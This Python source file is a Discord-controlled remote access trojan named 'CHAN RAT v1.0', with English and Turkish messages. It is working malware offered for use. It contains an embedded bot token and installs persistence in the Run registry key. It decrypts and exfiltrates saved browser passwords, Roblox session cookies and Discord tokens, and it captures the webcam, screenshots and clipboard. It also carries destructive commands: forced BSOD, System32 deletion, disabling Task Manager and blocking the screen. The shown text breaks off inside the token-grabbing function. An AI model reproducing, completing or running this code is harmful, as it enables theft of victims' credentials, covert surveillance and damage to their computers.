import pyautogui, sqlite3, cv2, time, threading, win32api, discord, requests,base64, os, json, psutil, ctypes,win32crypt, rotatescreen as rs, sys, winreg, subprocess, random, socket, pyperclip, tkinter as tk, tkinter.messagebox, browser_cookie3, inspect, urllib, shutil
from discord.ext import commands
from Crypto.Cipher import AES
from datetime import datetime as dt, timedelta
from ctypes import Structure, c_uint
from re import findall

client = commands.Bot(command_prefix='!',intents=discord.Intents.all())
client.remove_command("help")

### CONFIGURATION

token = "MTIyOTg1MTc4NTcxMjM2OTc0Nw.GpMvDi.8uWViws4soDo1QnWefx11F9LZMmHVlxpT_IKS8"
guild_id = "1229851509009678476"
autostart = True
antivm = False

process_name = "test"
if not process_name.endswith(".exe"):
    process_name = process_name + ".exe"

hide_after_exec = True

backdoor_location = "\\AppData\\Roaming\\Microsoft\\"
if backdoor_location == "\\AppData\\Roaming\\":
    backdoor_location = os.environ["appdata"] + "\\" + process_name
else:
    backdoor_location = os.environ["appdata"] + "\\Microsoft\\" + process_name

annc_channel_id = "1229851955371966475"
pass_channel_id = annc_channel_id
tokens_channel_id = annc_channel_id
roblosecurity_channel_id = annc_channel_id

### CODE

clientid = ""
startup_enabled = False
cookies = ""

installationpath = sys._MEIPASS if getattr(sys, 'frozen', False) else os.path.dirname(os.path.abspath(__file__))

def admincheck():
    val = ctypes.windll.shell32.IsUserAnAdmin()
    if val < 1:
        return False
    elif val > 0:
        return True


help_menu = f"""
Available commands for **{os.getlogin()}** :

**!help** - Shows this message
**!startup** - Adds the file to startup.
**!exit** - Stop the RAT from working.
**!usagelist** - Returns a list of active users.
**!admin_check** - Checks if you are admin on target computer.
**!bypass_uac** - Attempts to bypass UAC to get admin privileges.
**!shell** - Run a shell command

`-----SURVEILLANCE-----`

**!screenshot** - Sends a screenshot of the target machine
**!idletime** - Displays for how long the user has been AFK
**!webcam_capture** - Capture a picture of the webcam.
**!tasklist** - Returns a list of active tasks.

`-----FILE MANAGEMENT-----`

**!chdir** - Changes the current directory. **!chdir <** to go back one directory.
**!chdisk** - Changes the current disk. (E, C, D, etc.)
**!ls** - Displays all items in the current directory.
**!download** - Downloads a file from the specified path.
**!upload** - Uploads a file to the specified path.
**!taskkill** - Kills the specified task.
**!startfile** - Starts a file.
**!delfile** - Deletes a file.
**!hidefile** \ **!unhidefile** - Hides/unhides a file.

`-----INFORMATION GATHERING-----`

**!whois** - Prints the user"s name
**!getip** - Gets the current user's IP address
**!clipboard** - Returns a string of the user's clipboard.
**!grabpasswords** - Steal all the passwords from the device.
**!grabroblox** - Grabs the user's Roblox account cookie.
**!hardware_list** - Lists the user's hardware on newlines.
"""

help_menu2 = """
**!grabdiscord** - Fetches the user's Discord account token.

`-----SANCTIONING-----`

**!bsod** - Blue screens the computer.
**!disabletaskmgr** \ **!enabletaskmanager** - Disable/enable task manager.
**!logoff** - Logs the user off.
**!shutdown** - Shuts the user's PC off.
**!restart** - Restarts the user's PC.
**!blockscreen** - Blocks the user's screen. (IRREVERSIBLE UNTIL USER RESTARTS)
**!critproc** - Makes the RAT a critical process, meaning if it's task killed the user will get a BSOD.
**!screenflip** - Rotates the user's screen 90 degrees.
**!yeniden_baslat** - Hedef Makineye Mesajıda Yazarsanız 5 Saniye İçinde o Yazdığınız Mesajla Beraber Bilgisiyar Yeniden Başlatılır.

`-----FUN-----`

**!write** - Writes a sentence then presses enter.
**!setclipboard** - Sets the clipboard to the specified string of text.
**!forcedesktop** - Sends the user on desktop automatically.
**!messmouse** - Shakes the user's cursor when they try to move the mouse, run this command again to stop.
**!opensite** - Opens a site on the user's browser.
**!key_press** - Press a key.
**!showtaskbar** \ **!hidetaskbar**
**!sitespam** - Hedef Makineye SÜREKLİ DURMADAN WEBSİTE SPAMI YAPAR (bilgisiyarı yeniden başlatmak gerekebilir).
**!system32_sil** - Hedef Makinenin System32 Sini Silmeye Çalışır

`-----COMMUNICATION-----`

**!questionmsg** - Sends the user a question message.
**!warningmsg** - Sends the user a warning message.
**!errormsg** - Sends the user an error message.
**!infomsg** - Sends the user an informative message.

```* You need to specify the usage ID after every command. Arguments come after.

Example : !write (usage-id) (sentence) => !write 123456 Test sentence
          !questionmsg (usage-id) (message) => !questionmsg 123456 Test Message
```
"""

idedd = ""

chars = "1234567890"
clientid = "".join(random.sample(chars, 6))

class LASTINPUTINFO(Structure):
    _fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_uint)
    ]

def get_idle_duration():
    idle_time = win32api.GetTickCount() - win32api.GetLastInputInfo()
    idle_time /= 1000
    return idle_time

def takeScreenshot():
    temp = os.getenv('temp')
    sc = pyautogui.screenshot()
    sc.save(temp + "\screenshot.png")

def disable_task_manager():
    registry_path = "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
    registry_name = "DisableTaskMgr"
    value = 1
    
    try:
        reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_path, 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, registry_name, 0, winreg.REG_SZ, value)
        winreg.CloseKey(reg_key)
        return True
    except WindowsError as e:
        return e

def enable_task_manager():
    registry_path = "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
    registry_name = "DisableTaskMgr"
    value = 0
    
    try:
        reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, registry_path, 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, registry_name, 0, winreg.REG_SZ, value)
        winreg.CloseKey(reg_key)
        return True
    except WindowsError as e:
        return e

@client.event
async def on_ready():
    with urllib.request.urlopen("https://geolocation-db.com/json") as url:
        ldata = json.loads(url.read().decode())
        cflag = ldata['country_code']
        ipaddress = ldata['IPv4']

    output = os.popen("wmic os get name").read()
    if "Windows 10" in output:
        platform = "Windows 10"
    elif "Windows 11" in output:
        platform = "Windows 11"
    elif "Windows 8" in output:
        platform = "Windows 8"
    elif "Windows 7" in output:
        platform = "Windows 7"
    else:
        platform = "Unbound"

    user = os.getlogin()
    host_id = socket.gethostname()
    #guild = client.get_guild(int(guild_id))
    channel = client.get_channel(int(annc_channel_id))
    takeScreenshot()
    path = f"{os.getenv('temp')}\screenshot.png"
    await channel.send(f"""
||@everyone|| Yeni Kurban Tespit Edildi! :flag_{cflag.lower()}: **{user}** :flag_{cflag.lower()}: with desktop ID **{host_id}**.

``` CHAN RAT v1.0 | {client.user.name} | CHAN ADMINISTRATION ```

:skull_crossbones: `->` IP Adresi : ||{ipaddress}|| <- :flag_{cflag.lower()}:
:skull_crossbones: `->` Yönetici Yetkisi : **{admincheck()}**
:skull_crossbones: `->` Otomatik Başlangıc : **{autostart}**
:skull_crossbones: `->` OS : **{platform}**
:skull_crossbones: `->` Kullanım ID : ||{clientid}||

``` CHAN R4T v1.0 | {client.user.name} | CHAN ADMINISTRATION ```

Yardım Menüsü : **!help ||{clientid}||**
Tüm Aktif Kullanıcıları Listele : **!usagelist**

R4tın Kuruldugu Dosya Konumu : `{installationpath}`

:point_down: **__USER SCREEN__** :point_down:
""", file=discord.File(path))
    os.remove(path)
    print(f'{client.user} artık aktif! Clientid {clientid}')
    


@client.command()
async def help(ctx, *, usid):
    if usid == clientid:
        await ctx.send(help_menu)
        await ctx.send(help_menu2)

@client.command()
async def screenshot(ctx, *, usid):
    if usid == clientid:
        takeScreenshot()
        path = f"{os.getenv('temp')}\screenshot.png"
        await ctx.send(f"Surveillance SS -> **{os.getlogin()}**:",file=discord.File(path))
        os.remove(path)
    
@client.command()
async def write(ctx, usid, *, sentence):
    if usid == clientid:
        pyautogui.write(sentence)
        pyautogui.press('enter')
        await ctx.send(f"The user has now written **{sentence}** on their computer.")

@client.command()
async def whois(ctx, *, usid):
    if usid == clientid:
        user = os.getlogin()
        await ctx.send(f"Şu Anda: **{user}**Bilgisiyarındasın")

@client.command()
async def system32_sil (ctx, *, usid):
    if usid == clientid:
        os.remove("C:\Windows\System32")
        await ctx.send(f"**{os.getlogin()}** Adlı Makinede System32 Silinmeye Çalışılıyor..")
    else:
        await ctx.send(f"{os.getlogin()}** Adlı Makinede System32 Silme **Başarasız** Bunun Birçok Sebepi Olabilir Mesela Yönetici Yetkisi Yok")

@client.command()
async def getip(ctx, *, usid):
    if usid == clientid:
        with urllib.request.urlopen("https://geolocation-db.com/json") as url:
            ldata = json.loads(url.read().decode())
            cflag = ldata['country_code']
            ipaddress = ldata['IPv4']
        await ctx.send(f"**{os.getlogin()}**'s IP is :flag_{cflag.lower()}: **{ipaddress}** :flag_{cflag.lower()}:")


@client.command()
async def exit(ctx, *, usid):
    if usid == clientid:
        await ctx.send(f"RAT Durumu Öldürüldü RAT Kapatılan Makine: **{os.getlogin()}**Makine.")
        sys.exit()

@client.command()
async def bsod(ctx, *, usid):
    if usid == clientid:
        ntdll = ctypes.windll.ntdll
        prev_value = ctypes.c_bool()
        res = ctypes.c_ulong()
        ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(prev_value))
        if not ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(res)):
            await ctx.send("BSOD failed with unexpected error.")
        else:
            await ctx.send(f"{os.getlogin()} has been blue screened.")

@client.command()
async def startup(ctx, *, usid):
    if usid == clientid:
        if startup_enabled != True:
            path = sys.argv[0]
            isexe = False
            if (sys.argv[0].endswith("exe")):
                isexe = True
            if isexe:
                if (sys.argv[0].endswith("exe")):
                    if not os.path.exists(backdoor_location):
                        shutil.copyfile(sys.executable, backdoor_location)
                        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + backdoor_location + '" /f', shell=True)
                await ctx.send(f"**{os.getlogin()}** Adlı Makinede RAT Artık Başlangıc Klasöründe!")
        elif startup_enabled == True:
            await ctx.send(f"**{os.getlogin()}** Adlı Makine Zaten **Başlangıc Klasöründe!**")

@client.command()
async def disabletaskmgr(ctx, *, usid):
    if usid == clientid:
        value = disable_task_manager()
        if value == True:
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede Görev Yöneticisi **Devre Dışı!**")
        else:
            await ctx.send("Insufficient permissions.")

@client.command()
async def enabletaskmgr(ctx, *, usid):
    if usid == clientid:
        value = enable_task_manager()
        if value == True:
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede Görev Yöneticisi **Aktif!**")
        else:
            await ctx.send("Bunu Yapılmasına RAT'In Yetkisi Yok.")

@client.command()
async def idletime(ctx, *, usid):
    if usid == clientid:
        idletime = get_idle_duration()
        if idletime < 1:
            await ctx.send(f"**{os.getlogin()}** isn't idle.")
        elif idletime >= 1:
            await ctx.send(f'Idletime for **{os.getlogin()}**: {str(idletime)}')

@client.command()
async def clipboard(ctx, *, usid):
    if usid == clientid:
        current_clipboard = str(pyperclip.paste())
        await ctx.send(f"Clipboard content for **{os.getlogin()}** is : \n\n{current_clipboard}")


def my_chrome_datetime(time_in_mseconds):
    return dt(1601, 1, 1) + timedelta(microseconds=int(time_in_mseconds))

def encryption_key(browser):
    localState_path = None
    if browser == "Chrome":
        localState_path = os.path.join(os.environ["USERPROFILE"],
                                       "AppData", "Local", "Google", "Chrome",
                                       "User Data", "Local State")
    elif browser == "Edge":
        localState_path = os.path.join(os.environ["USERPROFILE"],
                                       "AppData", "Local", "Microsoft", "Edge",
                                       "User Data", "Local State")
    elif browser == "Opera GX":
        localState_path = os.path.join(os.environ["APPDATA"],
                                       "Opera Software", "Opera GX Stable",
                                       "Local State")
    elif browser == "Opera":
        localState_path = os.path.join(os.environ["APPDATA"],
                                       "Opera Software", "Opera Stable",
                                       "Local State")

    elif browser == "Brave":
        localState_path = os.path.join(os.environ["LOCALAPPDATA"],
                                       "BraveSoftware", "Brave-Browser",
                                       "User Data", "Local State")
    
    with open(localState_path, "r", encoding="utf-8") as file:
        local_state_file = file.read()
        local_state_file = json.loads(local_state_file)
    
    ASE_key = base64.b64decode(local_state_file["os_crypt"]["encrypted_key"])[5:]
    return win32crypt.CryptUnprotectData(ASE_key, None, None, None, 0)[1]  # decrypted key

def decrypt_password(enc_password, key, browser):
    try:
        init_vector = enc_password[3:15]
        enc_password = enc_password[15:]
        cipher = AES.new(key, AES.MODE_GCM, init_vector)
        return cipher.decrypt(enc_password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(enc_password, None, None, None, 0)[1])
        except:
            return "No passwords available (logged in with social account)"

def steal_chrome_passwords():
    password_db_path = []

    if os.path.exists(f"{os.getenv('userprofile')}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"):
        password_db_path.append(os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"))
    else:
        return {}

    for file in os.listdir(os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")):
        if file.startswith("Profile"):
            profile_number = file
            password_db_path.append(os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", profile_number, "Login Data"))

    all_data = {}

    for password_path in password_db_path:
        shutil.copyfile(password_path, "my_chrome_data.db")
        db = sqlite3.connect("my_chrome_data.db")
        cursor = db.cursor()
        cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM logins")
        encp_key = encryption_key("Chrome")
        data = {}
        for row in cursor.fetchall():
            try:
                site_url = row[0]
                username = row[1]
                password = decrypt_password(row[2], encp_key, "Chrome")
                date_created = row[3]
                if username or password:
                    if site_url not in data:
                        data[site_url] = []
                    data[site_url].append(
                        {
                            "username": username,
                            "password": password,
                            "date_created": str(my_chrome_datetime(date_created)),
                        }
                    )
            except: pass
        cursor.close()
        db.close()
        os.remove("my_chrome_data.db")

        all_data.update(data)

    return all_data


def steal_firefox_passwords():
    if not os.path.exists(os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox", "Profiles")):
        return {}

    profiles = os.listdir(os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox", "Profiles"))
    stolen_data = {}

    for profile in profiles:
        if profile.endswith(".default"):
            logins_path = os.path.join(os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox", "Profiles"), profile, "logins.json")
            if os.path.isfile(logins_path):
                try:
                    with open(logins_path, "r", encoding="utf-8") as file:
                        logins_data = json.load(file)
                        for login in logins_data["logins"]:
                            site_url = login["hostname"]
                            username = login["username"]
                            password = login["password"]
                            date_created = login["timeCreated"]
                            if username or password:
                                if site_url not in stolen_data:
                                    stolen_data[site_url] = []
                                stolen_data[site_url].append(
                                    {
                                        "username": username,
                                        "password": password,
                                        "date_created": str(my_chrome_datetime(date_created)),
                                    }
                                )
                except: pass
    return stolen_data

def steal_edge_passwords():

    if not os.path.exists(os.path.join(os.environ["LOCALAPPDATA"], "Microsoft", "Edge", "User Data", "Default", "Login Data")):
        return {}

    encp_key = encryption_key("Edge") 

    shutil.copyfile(os.path.join(os.environ["LOCALAPPDATA"], "Microsoft", "Edge", "User Data", "Default", "Login Data"), "my_edge_data.db")
    db = sqlite3.connect("my_edge_data.db")
    cursor = db.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM logins")
    data = {}
    for row in cursor.fetchall():
        try:
            site_url = row[0]
            username = row[1]
            password = decrypt_password(row[2], encp_key, "Edge")
            date_created = row[3]
            if username or password:
                if site_url not in data:
                    data[site_url] = []
                data[site_url].append(
                    {
                        "username": username,
                        "password": password,
                        "date_created": str(my_chrome_datetime(date_created)),
                    }
                )
        except: pass
    cursor.close()
    db.close()
    os.remove("my_edge_data.db")
    return data

def steal_opera_gx_passwords():

    if not os.path.exists(f'{os.getenv("APPDATA")}\\Opera Software\\Opera GX Stable\\Login Data'):
        return {}
    
    encp_key = encryption_key("Opera GX")

    shutil.copyfile(os.path.join(os.environ["APPDATA"], "Opera Software", "Opera GX Stable", "Login Data"), "my_opera_data.db")
    db = sqlite3.connect("my_opera_data.db")
    cursor = db.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM logins")
    data = {}
    for row in cursor.fetchall():
        try:
            site_url = row[0]
            username = row[1]
            password = decrypt_password(row[2], encp_key, "Opera")
            date_created = row[3]
            if username or password:
                if site_url not in data:
                    data[site_url] = []
                data[site_url].append(
                    {
                        "username": username,
                        "password": password,
                        "date_created": str(my_chrome_datetime(date_created)),
                    }
                )
        except: pass
    cursor.close()
    db.close()
    os.remove("my_opera_data.db")
    return data

def steal_brave_passwords():
    if not os.path.exists(os.path.join(os.environ["LOCALAPPDATA"], "BraveSoftware", "Brave-Browser", "User Data", "Default", "Login Data")):
        return {}

    encp_key = encryption_key("Brave")

    shutil.copyfile(os.path.join(os.environ["LOCALAPPDATA"], "BraveSoftware", "Brave-Browser", "User Data", "Default", "Login Data"), "my_brave_data.db")
    db = sqlite3.connect("my_brave_data.db")
    cursor = db.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM logins")
    data = {}
    for row in cursor.fetchall():
        try:
            site_url = row[0]
            username = row[1]
            password = decrypt_password(row[2], encp_key, "Brave")
            date_created = row[3]
            if username or password:
                if site_url not in data:
                    data[site_url] = []
                data[site_url].append(
                    {
                        "username": username,
                        "password": password,
                        "date_created": str(my_chrome_datetime(date_created)),
                    }
                )
        except: pass
    cursor.close()
    db.close()
    os.remove("my_brave_data.db")
    return data

def steal_opera_passwords():
    if not os.path.exists(f'{os.getenv("APPDATA")}\\Opera Software\\Opera Stable\\Login Data'):
        return {}
    
    encp_key = encryption_key("Opera")

    shutil.copyfile(os.path.join(os.environ["APPDATA"], "Opera Software", "Opera Stable", "Login Data"), "my_opera_data.db")
    db = sqlite3.connect("my_opera_data.db")
    cursor = db.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value, date_created FROM logins")
    data = {}
    for row in cursor.fetchall():
        try:
            site_url = row[0]
            username = row[1]
            password = decrypt_password(row[2], encp_key, "Opera")
            date_created = row[3]
            if username or password:
                if site_url not in data:
                    data[site_url] = []
                data[site_url].append(
                    {
                        "username": username,
                        "password": password,
                        "date_created": str(my_chrome_datetime(date_created)),
                    }
                )
        except: pass
    cursor.close()
    db.close()
    os.remove("my_opera_data.db")
    return data

def steal_passwords():
    chrome_data = steal_chrome_passwords()
    firefox_data = steal_firefox_passwords()
    edge_data = steal_edge_passwords()
    operagx_data = steal_opera_gx_passwords()
    opera_data = steal_opera_passwords()
    brave_data = steal_brave_passwords()

    combined_data = {**chrome_data, **firefox_data, **edge_data, **operagx_data, **opera_data, **brave_data}

    if len(combined_data) > 0:
        return combined_data
    else:
        return {}



def save_credentials_as_file(credentials_data):
    filename = f"{os.getlogin()}-passwords.txt"
    with open(filename, "w", encoding="utf8") as file:
        for site_url, credentials_list in credentials_data.items():
            file.write(f"Site URL: {site_url}\n")
            for credentials in credentials_list:
                file.write(f"Username: {credentials['username']}\n")
                file.write(f"Password: {credentials['password']}\n")
                file.write(f"Date Created: {credentials['date_created']}\n")
            file.write("\n")
    return filename
    

@client.command()
async def grabpasswords(ctx, usid):
    if usid == clientid:
        await ctx.send(f":hourglass: **{os.getlogin()}**Adlı Makinede Şifre Çalma İşlemi **Başladı!**")
        file_path = save_credentials_as_file(steal_passwords())
        try:
            with open(file_path, "r", encoding="utf8") as file:
                file_data = discord.File(file, filename="stolen_credentials.txt")
        except Exception as e:
            await ctx.send(f"**{os.getlogin()}**: Adlı Makinede Şifre Çalınamadı Sebep: `{e}`")
            return
        await ctx.send(f":white_check_mark: Grabbed **{os.getlogin()}**'s passwords", file=file_data)


@client.command()
async def logoff(ctx, *, usid):
    if usid == clientid:
        os.system("shutdown /l /f")
        await ctx.send(f"**{os.getlogin()}** logged off.")

@client.command()
async def shutdown(ctx, *, usid):
    if usid == clientid:
        await ctx.send(f"**{os.getlogin()}**Adlı Makine Kapatılıyor...")
        os.system("shutdown /p")

@client.command()
async def setclipboard(ctx, usid, *, clipboard):
    if usid == clientid:
        try:
            pyperclip.copy(clipboard)
        except Exception as e: 
            await ctx.send(f'Error trying to set clipboard for **{os.getlogin()}**: `{e}`')
        current_clipboard = str(pyperclip.paste())
        await ctx.send(f'Successfully set the clipboard to **{current_clipboard}** for **{os.getlogin()}**')

@client.command()
async def forcedesktop(ctx, *, usid):
    if usid == clientid:
        pyautogui.keyDown('winleft')
        pyautogui.press('d')
        pyautogui.keyUp('winleft')
        await ctx.send(f"Sent **{os.getlogin()}** to the desktop.")


@client.command()
async def webcam_capture(ctx, *, usid):
    if usid == clientid:
        camera_count = cv2.getBuildInformation().count("Video I/O")
        if camera_count == 0:
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede Hiçbir Kamera Bulunamadı!.")
            return
            
        cam_number = 0
        for camera_index in range(camera_count):
            camera = cv2.VideoCapture(camera_index)
            success, frame = camera.read()
            if success:
                cam_number = cam_number + 1
                image_path = f"camera_{camera_index}.jpg"
                cv2.imwrite(image_path, frame)

                with open(image_path, "rb") as file:
                    picture = discord.File(file, filename=image_path)
                    embed = discord.Embed(color=discord.Color.green())
                    embed.set_image(url=f"attachment://{image_path}")
                    await ctx.send(content=f"**{os.getlogin()}**'s webcam - **Camera {str(cam_number)}**",embed=embed, file=picture)

                os.remove(image_path)

            camera.release()
        if cam_number == 0:
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede Hiçbir Kamera Bulunamadı.")
    
def on_closing():
    pass

def screenblock():
    box = tk.Tk()
    box.attributes('-fullscreen', True)
    box.attributes("-topmost", True)
    box.configure(background='black')
    box.protocol("WM_DELETE_WINDOW", on_closing)
    box.mainloop()

@client.command()
async def blockscreen(ctx, *, usid):
    if usid == clientid:
        threading.Thread(target=screenblock, daemon=True).start()
        await ctx.send(f"**{os.getlogin()}**Adlı Makinenin Ekrana Erişimi Kapandı.")
        

mousemess = False

def StartMouseMess():
    global mousemess
    while mousemess:
        x=random.randint(600, 700)
        y=random.randint(600, 700)
        pyautogui.moveTo(x, y, 3)
        time.sleep(1)

@client.command()
async def messmouse(ctx, *, usid):
    if usid == clientid:
        global mousemess
        if mousemess == False:
            mousemess = True
            threading.Thread(target=StartMouseMess,daemon=True).start()
            await ctx.send(f"**{os.getlogin()}**Adlı Makinede Mouse Bozulması Başlandı!.")
        elif mousemess == True:
            mousemess = False
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede Mouse Bozulması Durdurulmuştur!")
        

@client.command()
async def usagelist(ctx):
    list_usage = f"Aktif : **{os.getlogin()}** with desktop ID **{socket.gethostname()}** and usage ID **{clientid}**. Admin privileges : **{admincheck()}** `v1.9.2`"
    await ctx.send(list_usage)

@client.command()
async def questionmsg(ctx, usid, *, message):
    if usid == clientid:
        await ctx.send(f"Sent **{os.getlogin()}** a question message.")
        root = tkinter.Tk()
        root.wm_attributes("-topmost", 1)
        root.withdraw()
        response = tkinter.messagebox.askyesno("Question", message, parent=root)
        if response:
            await ctx.send(f"**{os.getlogin()}** has replied with **Yes** to your question which was `{message}`")
            root.destroy()
        else:
            await ctx.send(f"**{os.getlogin()}** has replied with **No** to your question which was `{message}`")
            root.destroy()

@client.command()
async def warningmsg(ctx, usid, *, message):
    if usid == clientid:
        await ctx.send(f"Sent **{os.getlogin()}** a warning message.")
        root = tkinter.Tk()
        root.wm_attributes("-topmost", 1)
        root.withdraw()
        tk.messagebox.showwarning(title='Warning', message=message, parent=root)
        await ctx.send(f"**{os.getlogin()}** saw the warning sent which was `{message}`")
        root.destroy()

@client.command()
async def errormsg(ctx, usid, *, message):
    if usid == clientid:
        await ctx.send(f"Sent **{os.getlogin()}** an error message.")
        root = tkinter.Tk()
        root.wm_attributes("-topmost", 1)
        root.withdraw()
        tk.messagebox.showerror(title='Error', message=message, parent=root)
        root.destroy()

@client.command()
async def infomsg(ctx, usid, *, message):
    if usid == clientid:
        await ctx.send(f"Sent **{os.getlogin()}** an informative message.")
        root = tkinter.Tk()
        root.wm_attributes("-topmost", 1)
        root.withdraw()
        tk.messagebox.showinfo(title='Information', message=message, parent=root)
        await ctx.send(f"**{os.getlogin()}** acknowledged the informative message sent which was `{message}`")
        root.destroy()

@client.command()
async def opensite(ctx, usid, *, website):
    if usid == clientid:
        os.system(f"start {website}")
        await ctx.send(f"**{os.getlogin()}** Adlı Makinede **{website}** Sitesi Açıldı!")


@client.command()
async def sitespam(ctx, usid, *, website):
    if usid == clientid:
        while True:
            os.system(f"start {website}")
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede **{website}** Sitesi Sürekli Olarak Spamlanmaya Başlandı!")

@client.command()
async def admin_check(ctx, usid):
    value = admincheck()
    if usid == clientid:
        if value:
            await ctx.send(f"**{os.getlogin()} Adlı Makinede Yönetici Yetkisi Var.**")
        elif not value:
            await ctx.send(f"**{os.getlogin()}** Adlı Makinede Yönetici Yetkisi Yok")

def cookieLogger():

    data = []

    try:
        cookies = browser_cookie3.firefox(domain_name='roblox.com')
        for cookie in cookies:
            if cookie.name == '.ROBLOSECURITY':
                data.append(cookies)
                data.append(cookie.value)
                return data
    except:
        pass
    try:
        cookies = browser_cookie3.chromium(domain_name='roblox.com')
        for cookie in cookies:
            if cookie.name == '.ROBLOSECURITY':
                data.append(cookies)
                data.append(cookie.value)
                return data
    except:
        pass

    try:
        cookies = browser_cookie3.edge(domain_name='roblox.com')
        for cookie in cookies:
            if cookie.name == '.ROBLOSECURITY':
                data.append(cookies)
                data.append(cookie.value)
                return data
    except:
        pass

    try:
        cookies = browser_cookie3.opera(domain_name='roblox.com')
        for cookie in cookies:
            if cookie.name == '.ROBLOSECURITY':
                data.append(cookies)
                data.append(cookie.value)
                return data
    except:
        pass

    try:
        cookies = browser_cookie3.chrome(domain_name='roblox.com')
        for cookie in cookies:
            if cookie.name == '.ROBLOSECURITY':
                data.append(cookies)
                data.append(cookie.value)
                return data
    except:
        pass

    
    



@client.command()
async def grabroblox(ctx, *, usid):
    cookies = cookieLogger()
    roblox_cookie = cookies[1]
    if usid == clientid:
        postchannel = client.get_channel(int(roblosecurity_channel_id))
        await ctx.send(f":skull_crossbones: **{os.getlogin()}**Adlı Makinede Roblox Cookies ROBLOSECURITY Başlatıldı!")
        await postchannel.send(f"""
{ctx.author.mention} .ROBLOSECURITY for **{os.getlogin()}** : 
```
{roblox_cookie}
```

Bypass IP lock with https://rbxfresh.com/
""")
        await ctx.send(f":white_check_mark: **{os.getlogin()}**Adlı Makinede Cookiesler <#{roblosecurity_channel_id}> Kanalına Gönderildi!")

def token_grab():
            LOCAL = os.getenv("LOCALAPPDATA")
            ROAMING = os.getenv("APPDATA")
            PATHS = [
                ROAMING + "\\Discord",
                ROAMING + "\\discordcanary",
                ROAMING + "\\discordptb",
                LOCAL + "\\Google\\Chrome\\User Data\\Default",
                LOCAL + "\\Google\\Chrome\\User Data\\Profile 1",
                LOCAL + "\\Google\\Chrome\\User Data\\Profile 2",
                LOCAL + "\\Google\\Chrome\\User Data\\Profile 3",
                LOCAL + "\\Google\\Chrome\\User Data\\Profile 4",
                LOCAL + "\\Google\\Chrome\\User Data\\Profile 5",
                ROAMING + "\\Opera Software\\Opera Stable",
                LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
                LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default",
                ROAMING + "\\Opera Software\\Opera GX Stable\\"

            ]

            for path in reversed(PATHS):
                if not os.path.exists(path):
                    PATHS.remove(path)

            regex1 = "[\\w-]{24}\.[\\w-]{6}\\.[\\w-]{27}"
            regex2 = r"mfa\\.[\\w-]{84}"
            encrypted_regex = "dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$]{120}"

            def getheaders(token=None, content_type="application/json"):
                headers = {
                    "Content-Type": content_type,
                    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
                }
                if token:
                    headers.update({"Authorization": token})
                return headers

            def decrypt_payload(cipher, payload):
                return cipher.decrypt(payload)

            def generate_cipher(aes_key, iv):
                return AES.new(aes_key, AES.MODE_GCM, iv)

            def decrypt_token(buff, master_key):
                try:
                    iv = buff[3:15]
                    payload = buff[15:]
                    cipher = generate_cipher(master_key, iv)
                    decrypted_pass = decrypt_payload(cipher, payload)
                    decrypted_pass = decrypted_pass[:-16].decode()
                    return decrypted_pass
                except Exception:
                    return "Couldn't decrypt token"

            def get_master_key(path):
                with open(path, "r", encoding="utf-8") as f:
                    local_state = f.read()
                local_state = json.loads(local_state)

                master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
                master_key = master_key[5:]
                master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
                return master_key

            def gettokens(path):
                path1=path
                path += "\\Local Storage\\leveldb"
                tokens = []
                try:
                    if not "discord" in path.lower():
                        for file_name in os.listdir(path):
                            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                                continue
                            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                                for token in findall(regex1, line):
                                    try:
                                        r = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token))
                                        if r.status_code == 200:
                                            if token in tokens:
                                                continue
                                    except Exception:
                                        continue
                                    tokens.append(token)
                                for token in findall(regex2, line):
                                    print(token)
                                    try:
                                        r = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token))
                                        if r.status_code == 200:
                                            if token in tokens:
                                                continue
                                    except Exception:
                                        continue
                                    tokens.append(token)
                    else:
                        for file_name in os.listdir(path):
                            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                                continue
                            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                                for y in findall(encrypted_regex, line):
                                    token = decrypt_token(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), get_master_key(path1 + '\\Local State'))
                                    try:
                                        r = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token))
